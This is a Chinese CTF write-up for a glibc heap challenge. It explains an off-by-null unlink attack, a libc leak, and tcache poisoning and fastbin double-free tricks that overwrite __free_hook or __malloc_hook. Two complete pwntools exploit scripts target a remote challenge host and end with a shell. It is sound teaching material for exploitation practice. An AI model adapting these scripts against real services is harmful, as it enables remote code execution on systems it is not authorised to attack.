分析
這題題目中顯示是Wellcome To the 2.27 Heap World,而且隻能申請7個chunk,理論上應該是一道libc2.27 tcache的題,但因為在互動過程中觸發了fastbin的double free錯誤,是以攻防世界上應該是把這題部署在了libc2.23的環境中,但無所謂,下面libc2.27和libc2.23的解法都會給出。
libc2.27解法
首先我們要洩漏libc的位址,tcache肯定是無法洩漏libc的,是以我們考慮使用unsorted bin來洩漏,這題有off by null,沒有UAF。
然後由于create chunk的時候會在輸入的内容後面加一個\x00,是以即便chunk在unsorted bin裡踩出libc的位址也無法用show方法回顯,因為會被\x00截斷。
是以唯一的方法就是在create chunk之後想辦法把libc位址踩到data裡
是以考慮采用unlink攻擊構造重疊的chunk。這樣就可以得到兩個相同的chunk,其中一個在heap_list裡,另一個在unsorted_bin裡,unsorted_bin裡的那個副本會被踩出libc位址,這樣show的時候,heap_list中的那個chunk就會列印出libc的位址。
之後就很容易了,修改tcache中chunk的fd指向__free_hook,修改__free_hook為system就好了,然後free被寫入了"/bin/sh\x00"的chunk即可。
exp:
from pwn import *
#from LibcSearcher import *
import time
pe = "./timu"
arch = 'amd64'
context.update(arch=arch,os='linux',log_level='DEBUG')
context.terminal = ['tmux', 'splitw', '-h']
DEBUG = False
elf = ELF(pe)
if DEBUG:
if arch=='amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
r = process(pe)
else:
libc = ELF('./libc-2.23.so')
r = remote('220.249.52.134',43623)
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ri = lambda :r.interactive()
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(addr=0,PIE=True):
time.sleep(1)
if PIE:
#text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
text_base = r.libs()[r.cwd + r.argv[0].strip('.')]
chunk_bss = 0x202040
if addr>0:
print("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(r,'b *{}\nset $a={}\n'.format(hex(addr),hex(text_base+chunk_bss)))
else:
gdb.attach(r,"set $a={}\n".format(hex(text_base+chunk_bss)))
else:
print("breakpoint_addr --> " + hex(addr))
gdb.attach(r,'b *{}\n'.format(hex(addr)))
time.sleep(1)
def msg(msg,addr):
log.warn(msg + "--> " + hex(addr))
'''
Your choice :
1
Size:
40
Data:
sdf
'''
def add(size,content=b"a\n"):
sla("Your choice :\n","1")
sla("Size: \n",str(size))
if rc(4)==b'Data':
sea(": \n",content)
'''
Your choice :
2
Index:
0
'''
def free(idx):
sla("Your choice :\n","2")
sla("Index: \n",str(idx))
'''
Your choice :
3
0 : sdf
'''
def show():
sla("Your choice :\n","3")
add(0x500)#0
add(0x600)#0,1
add(0x18)#0,1,2
add(0x500-0x10)#0,1,2,3 off by null
add(0x10)#0,1,2,3,4
free(0)#1,2,3,4
free(2)#1,3,4
pre_size = 0xb40
add(0x18,b'a'*0x10+p64(pre_size))#[0],1,3,4
free(3)#unlink #0,1,4
add(0x500)#pad #0,1,[2],4 #1副本->main_arena+96
show() #1會回顯libc中的位址
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
msg("libc_base",libc_base)
libc.address = libc_base
add(0x40)#0,1,2,[3],4 #重複->1
free(3)#0,1,2,4 [3/1]->tcache
free(1)#0,2,4 double free [3/1]
add(0x40,p64(libc.sym["__free_hook"]-0x8)+b"\n") #0,[1],2,4 tcache->free_hook-0x8
add(0x40)##0,1,2,[3],4 pad
add(0x40,b'/bin/sh\x00'+p64(libc.sym["system"])+b'\n')#0,1,2,3,4,[5]
free(5)
#debug()
ri()
libc2.23解法
libc2.23解法與上面類似,差別在于要使用fastbin attack實作有條件的位址修改,一般都是找到 ((void*)&__malloc_hook)-0x23 的位置,這裡剛好能僞造一個0x70的chunk。
然後在__malloc_hook的位置填上one_gadget的位址,那麼下次malloc的時候就會執行one_gadget得到shell,這裡問題在于有時所有one_gadget都不能用,這時可以觸發double_free,報錯時會清棧,然後malloc會被調用,進而滿足one_gadget的條件。
這裡最大的問題在于攻防世界給的libc是錯的,是以我們需要下載下傳不同的libc挨個嘗試,直到找到對的那個libc。
查詢libc可以用這個網站:
https://libc.blukat.me
結果大概就是下面這樣,double free報錯後get shell:
exp:
from pwn import *
#from LibcSearcher import *
import time
pe = "./timu"
arch = 'amd64'
context.update(arch=arch,os='linux',log_level='DEBUG')
context.terminal = ['tmux', 'splitw', '-h']
DEBUG = False
elf = ELF(pe)
if DEBUG:
if arch=='amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
r = process(pe)
else:
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
r = remote('220.249.52.134',43623)
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ri = lambda :r.interactive()
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(addr=0,PIE=True):
time.sleep(1)
if PIE:
#text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
text_base = r.libs()[r.cwd + r.argv[0].strip('.')]
chunk_bss = 0x202040
if addr>0:
print("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(r,'b *{}\nset $a={}\n'.format(hex(addr),hex(text_base+chunk_bss)))
else:
gdb.attach(r,"set $a={}\n".format(hex(text_base+chunk_bss)))
else:
print("breakpoint_addr --> " + hex(addr))
gdb.attach(r,'b *{}\n'.format(hex(addr)))
time.sleep(1)
def msg(msg,addr):
log.warn(msg + "--> " + hex(addr))
'''
Your choice :
1
Size:
40
Data:
sdf
'''
def add(size,content=b"a\n"):
sla("Your choice :\n","1")
sla("Size: \n",str(size))
if rc(4)==b'Data':
sea(": \n",content)
'''
Your choice :
2
Index:
0
'''
def free(idx):
sla("Your choice :\n","2")
sla("Index: \n",str(idx))
'''
Your choice :
3
0 : sdf
'''
def show():
sla("Your choice :\n","3")
add(0x100)#0
add(0x60)#0,1
add(0x68)#0,1,2
add(0x100-0x10)#0,1,2,3 off by null
add(0x10)#0,1,2,3,4
free(0)#1,2,3,4
free(2)#1,3,4
pre_size = 0x110+0x70+0x70
add(0x68,b'a'*0x60+p64(pre_size))#[0],1,3,4
free(3)#unlink #0,1,4
add(0x100)#pad #0,1,[2],4 #1 double->main_arena+96
show()
addr = u64(ru(b'\x7f')[-6:].ljust(8,'\x00'))
main_arena = addr-88
malloc_hook = main_arena-0x10
libc_base = addr-0x3c4b78
msg("main_arena",main_arena)
msg("malloc_hook",malloc_hook)
msg("libc_base",libc_base)
libc.address = libc_base
add(0x60)#0,1,2,[3],4 #->1
add(0x60)#0,1,2,3,4,[5] #->0
free(3)#0,1,2,4,5 ->fastbin
free(5)#0,1,2,4
free(1)#0,2,4 #fastbin:0->1->0
add(0x60,p64(libc.sym["__malloc_hook"]-0x23)+b'\n')
add(0x60)
add(0x60)
one = 0xf02a4 #0xf0364
add(0x60,b'a'*0x13+p64(one+libc_base)+b'\n')
free(0)
free(3)
#debug()
ri()